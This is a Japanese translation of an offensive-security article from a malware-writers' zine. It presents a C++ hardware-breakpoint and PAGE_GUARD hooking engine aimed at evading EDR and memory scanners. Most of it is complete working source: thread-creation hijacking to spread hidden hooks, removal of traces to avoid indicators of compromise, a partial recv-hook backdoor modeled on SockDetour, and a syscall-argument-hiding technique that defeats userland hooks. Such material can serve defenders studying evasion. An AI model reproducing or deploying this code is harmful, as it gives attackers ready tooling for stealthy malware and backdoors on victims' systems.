この記事は、元々 VX-Underground Black Mass Halloween Edition 2022 向けに書かれたものです。
フッキングエンジン:
デバッグレジスタを利用した汎用的な x64 ユーザーランド回避技術:
利用可能な ETW/AMSI フックの例
私たちのタスクは、関数を簡単にフックし、必要に応じてコードフローを逸らし、最終的に 不要になったフックを削除することです。
IAT フックは常に呼び出されるとは限らず、信頼性が低いため、使うことはできません。 インラインフッキングは強力な手法ですが、コードが存在するメモリへのパッチ適用が必要です。 これも強力な手法ですが、PE-Sieve や Moneta などのツールは、モジュールのメモリ常駐コピーと ディスク上のコピーの違いを検出し、フラグを立てることができます。そこで、この作業に最適な ツールであるデバッグレジスタが残ります。ただ、デバッグレジスタはマルウェア作者には ほとんど評価されていません。
Windows では、高水準の概要として、プロセスは基本的にスレッドのカプセル化であり、 各スレッドはコンテキスト(レジスタやスタックなど、スレッドの状態)を保持しています。 デバッグレジスタは特権リソースであり、その設定も特権操作です。 しかし、Windows はさまざまな syscall を公開しており、カーネルに代わって 特権アクションを実行するよう要求できます。その中には、私たちに最適な デバッグレジスタの設定も含まれます。NtSetThreadContext と NtGetThreadContext は、 必要な権限でハンドルを開くことができる任意のスレッドコンテキストを変更する機能を公開します。 Win32 API でデバッグレジスタを設定する方法を確認できます。```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
デバッグレジスタはDr0からDr7までの8つあります。私たちにとって重要なのはDr0〜3で、ここにブレークしたいアドレスを格納し、Dr6はデバッグステータスです。最も重要なのはDr7で、プロセッサが例外を投げるブレークポイントの条件を記述します。デバッグレジスタを使用する際には、数が限られている(4つ)ことや、すべてのスレッド/新しく生成されたスレッドには適用されないことなど、さまざまな制限があります。これらの制限のいくつかに対処していきます!
例外が投げられると、プログラム内で定義・登録できる例外ハンドラを探します[1]。定義した例外ハンドラでは、対応するブレークポイントがトリガーされたときに、関連するコード(異なるコードフロー)を実行させたいと考えます。```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
これは、コンストラクタ関数が「コールバック」ラムダ関数とアドレスの間のマッピングを設定することで実現されます。 using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;
すべてのプロセススレッドを反復処理し、対応する調整を
それらのコンテキストに対して設定する必要があります。これは ToolHelp32 ヘルパー関数を使用して実現できます:
CreateToolhelp32Snapshot、および Thread32Next。これは特別なことではありませんが、
すべてのスレッドにアタッチできないという制限の一つに対処します。```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
ハードウェアブレークポイントが設定されていることは、悪意のあるアクティビティを示す可能性があるため、疑わしいと言えるかもしれません(私の知る限り、EDRがそれらを積極的にスキャンすることはありませんが)。それらは潜在的なIoCとして私たちに対抗するために使用される可能性があるため、使用が終わったらその痕跡を削除しなければなりません。
これをデコンストラクタ関数で実装できます!! この関数はすべてのスレッドを反復処理し、レジスタ (&context.Dr0)[pos] が最初にハードウェアブレークポイントを設定したアドレスを指しているかどうかを確認します(pos は単に index % 4 で、context.Dr0-Dr3 にアクセスできます)。また、Dr7 レジスタで必要な条件も削除できます。さらに、マッピングエントリを削除することも忘れてはなりません。したがって、ハードウェアブレークポイントは必要な期間だけ存在することになります!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);
ハードウェアブレークポイントの例としては Sleep が挙げられ、スリープ時間を
0 に置き換えるだけです。```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
x64 Windowsの4レジスタ高速呼び出し規約[1]により、RCXを設定する必要があることは分かっています。 コンストラクタの最初の引数はブレークするアドレス、2番目はどのDr0-3レジスタに格納するか(なお、同時にブレークできるアドレスは4つまでです)、そして3番目は、例外ハンドラが受け取る情報であるPEXCEPTION_POINTERSを参照でキャプチャするラムダ関数です。これにより、どのブレークポイントがトリガーされたかに応じて、プログラムのフローを異なる形で制御できるようになります。
新しいスレッドが作成されるとき、何らかの方法で新しいスレッドの作成をインターセプトしない限り、関連付けられたデバッグレジスタのセットは継承されません。ここで使える巧妙なトリックの1つは、実際の開始アドレスをキャプチャし、新しいスレッドを独自のスレッド作成に転用することです。大多数の新しいスレッドは、最終的にNtCreateThreadExを呼び出すことになります。```c // Global Variable PVOID START_THREAD{ 0 };
// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}
このソリューションの1つの制限は、スレッドのコールスタックが、元のスレッドではなく、
注入したDLLのHijackThreadから始まることです。あるいは、より良い解決策は、
NtCreateThreadExを自分たちで呼び出し、それを一時停止状態で開始してから、
必要なハードウェアブレークポイントを設定することです。その後、この新しいスレッド用に
デバッグレジスタを設定した状態で、一時停止したスレッドを再開して実行を復元します。
これにより、デバッグレジスタの使用に関するもう1つの制限に対処できます。
ブレークポイントを設定した命令を呼び出すと無限ループが発生します。
そのため、現在のRIPをトリガーする原因となっているハードウェアブレークポイントを一時的に無効にします。
呼び出しが完了したら、それを復元できます。これにより、(トランポリンのように)
元の関数を呼び出せるようになります。この場合、RIPをretガジェットに向けて、
戻れるようにし、別のsyscall命令を実行しないようにする必要があります。
5番目以降のパラメータは、スタックに0x8バイト間隔でプッシュされているのが確認できます [2]。
ブレークポイントをトリガーしたとき、スタックはおおよそ次のようになります。```
___________________________
| |
| 0x8 + lpBytesBuffer |
|___________________________|
| |
| 0x8 + SizeOfStackReserve |
|___________________________|
| |
| 0x8 + SizeOfStackCommit |
|___________________________|
| |
| 0x8 + StackZeroBits |
|___________________________|
| |
| 0x8 + Flags |
|___________________________|
| |
| 0x8 + lpParameter |
|___________________________|
| |
| 0x8 + lpStartAddress |
RSP + 0x28 +-> |___________________________|
| |
| |
| | R9 +-> (HANDLE)ProcessHandle
| 0x20 + Shadow Store | R8 |-> (PVOID) ObjectAttributes
| | RDX |-> (ACCESS_MASK) DesiredAccess
| | RCX +-> (PHANDLE) hThread
|___________________________|
| |
| 0x8 + Call Ret Addr | RIP +-> NtCreateThreadEx
RSP +-> |___________________________|
// Find our ret ROP gadget
uintptr_t FindRetAddr(const uintptr_t function)
{
BYTE stub[]{ 0xC3 };
for (unsigned int i = 0; i < (unsigned int)25; i++)
{
// do not worry this will be optimized
if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
return (function + i);
}
}
return NULL;
}
typedef LONG(NTAPI* typeNtCreateThreadEx)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"), 1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// temporary disable of NtCreateThreadEx in our current thread.
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// create the original thread BUT suspended
// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
// Setup required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
// restore our HWBP on NtCreateThreadEx
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// RAX contains the return value.
ExceptionInfo->ContextRecord->Rax = status;
// Set RIP to a ret gadget to avoid creating
// another new thread (skip syscall instruction)
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
C++で書かれた、使用可能なハードウェアブレークポイントフッキングエンジンを共有します。このハードウェアブレークポイントの例では、sleep関数のDr0にブレークポイントを設定し、最初の値(RCX内)を0に設定して、すべてのsleepをスキップします。このブレークポイントを今後作成されるすべての新しいスレッドに設定するには、Dr1を利用する上記の例を使用できます。```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 / / C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include <windows.h>
#include <tlhelp32.h> #include
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd =
OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
// Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: {
}; break;
case DLL_PROCESS_DETACH: {
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
前述のとおり、デバッグレジスタのセットを維持することは悪い習慣です。そこで、デバッグレジスタの使用をPAGE_GUARDフックで補完し、デバッグレジスタの1つであるDr1(NtCreateThreadExで使用)を解放できるようにします。
PAGE_GUARDは基本的に、例外をスローする一度きりのメモリ保護です。それらは、システムに存在する割り当て粒度の最小レベルにあるページに適用されます(これは時に障害となることがあります)。PAGE_GUARDフッキングは新しいものではありませんが、私たちの制限のいくつかに対処するために使用できます。最初にPAGE_GUARDをそのアドレスに適用し、PAGE_GUARDはPAGE_GUARD_VIOLATIONをスローすることでトリガーされます。
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
特定のアドレスでトリガーするラムダをマッピングするのと同じ概念を適用できます。PAGE_GUARDを再適用しながら、現在のページ上の関数命令をシングルステップで実行します。これは明らかに比較的遅いですが、デバッグレジスタを占有しないという利点があります。遅いことが主な理由で、主にそれらを使用しないことにしました。```c
typedef struct {
EXCEPTION_FUNC func;
} PG_CALLBACK;
std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
PG_ADDRESS_MAP[address].func = function;
デバッグレジスタフックを新しいスレッドに適用するには、先ほどのNtCreateThreadExフックの例をコピーしつつ、現在のスレッドに対してHWBPsを無効化・復元するループ部分を削除するだけでよい。
ここで、PAGE_GUARDsを使った上記のNtCreateThreadExフックを行う2つ目のコード例を紹介する。前回と同様に、デコンストラクタ関数はマッピング内のエントリを削除し、(設定されていれば)保護を解除する。```c
////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include // std::function
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK;
typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer );
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 }; std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; }
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000);
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } {
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
PG_ADDRESS_MAP[address].func = function;
}
VOID RemovePGEntry()
{
VirtualProtect((LPVOID)address, 1, old, &old);
PG_ADDRESS_MAP.erase(address);
}
~PGBP()
{
RemovePGEntry();
}
private: DWORD old; const uintptr_t address; };
////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };
HWBP HWBPSleep{
(uintptr_t)&Sleep,
1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
PGBP VEHNtCreateThreadEx{
(uintptr_t)GetProcAddress(
GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"
),
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// create a new thread suspended
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context{ 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
ExceptionInfo->ContextRecord->Rax = status;
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
Sleep(1000000);
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
if (t) WaitForSingleObject(t, INFINITE);
}
if (handler) RemoveVectoredExceptionHandler(handler);
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
理論を適用して多用途のハードウェアブレークポイントフッキングエンジンを作成したところで、前回の例で示したようにデバッグレジスタとPAGE_GUARDを組み合わせて、SockDetour [3] に着想を得たバックドアをC++のDLLとして実装します。これを実現するため、recv関数にハードウェアブレークポイントを設定し、対応するラムダに必要なロジックを構築します。また、NtCreateThreadExにPAGE_GUARDを適用し、スレッドを一時停止状態で作成して正しいデバッグレジスタを設定するという前回のテクニックも使用します。
PAGE_GUARDフックは低速ですが、サーバーモデルがリクエストごとに新しいスレッドを作成しない限り、これは問題にはならないはずです。パフォーマンスへの影響はほとんど知覚できません。ほとんどのネットワークサーバーモデルは、プログラムの起動時に開始・初期化されるスレッドプールを維持しています。これらのサーバーモデルについて詳しくは、MicrosoftがGithub [4] でさまざまな例を提供しています。IOCPの例は、コンテキストとして、高性能でスケーラブルなサーバーモデルの好例です。
バックドアの先頭部分は次のようになります。
HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"), GetModuleHandle(L"WS2_32.dll")),"recv"), 3, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
char verbuf[9]{ 0 };
int verbuflen{ 9 }, recvlen{ 0 };
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
verbuflen, MSG_PEEK);
BYTE TLS[] = { 0x17, 0x03, 0x03 };
if (recvlen >= 3) {
if ((memcmp(verbuf, TLS, 3) == 0))1
{
MSG_AUTH msg{ 0 };
// We'll peek like SockDetour as to not eat the message
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
sizeof(MSG_AUTH), MSG_PEEK);
// Authenticate and proceed
}
}
// Set corresponding Dr
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
最後に、TamperingSyscallsに着想を得た、汎用的なx64ユーザーランド回避技術を実装します。この技術は、先ほどエンジンで示したハードウェアブレークポイントを適切に変更したバージョンを利用して、スレッドごとに最大4つのNtシステムコールの最大12個の引数を、任意の時点で隠すことができます。デバッグレジスタの内容をすべてのスレッドに伝播させないことにしたことに注意してください。これはおそらく望ましくないためです(必要に応じて、SetHWBPをSetHWBPSに置き換えてください)。
なぜこれが望ましく、超EPICなのかを説明する必要も、ユーザーランドフッキングに踏み込む必要もありません。それらは今扱うトピックでも、関心事でもなく、何度も深く取り上げられているからです [5]。
(address | ThreadID) を一意のキーとして使用する新しいマッピングを作成し、値は関数の引数を含む構造体です。システムコールに入るときにマッピングに新しいエントリを作成し、レジスタとスタックの値をクリアします。
トラップフラグによるシングルステップを利用して、実際に持っているよりも多くのデバッグレジスタを持っているかのように見せかけます。特定のアクションが必要な時期と場所が分かっていれば、これが可能なのです。
目的のシステムコールアドレスに到達すると、キーに関連付けられたハッシュマップエントリから値を復元します。これにより、スタック上の値がレジスタに戻ります。その後、リターン命令までシングルステップを続け、そこでシングルステップを停止してそのまま実行を続けます!
これにより最終的に、型なしフッキングが可能になります。さらに、最初に指定したとおり、レジスタから4つ、スタックから8つの計12個の引数だけを隠します。この "8" という値は単なる任意の値ですが推奨されます。スタック上でそれ以上の値/引数を隠したり変更したりすると、望ましくない動作を引き起こす可能性があります。
コールスタックはすでに適切なDLLから始まっているはずなので、ネイティブ関数を直接呼び出す必要はありません。NTDLL内のネイティブ関数アドレスをコンストラクタに渡せば、任意のDLLから適切なラッパーを呼び出すことができます。
これは簡単で、マクロを変更するだけで実現できます。
#define STK_ARGS 8 // 12 - 4 = 8 - should cover most Nt functions.
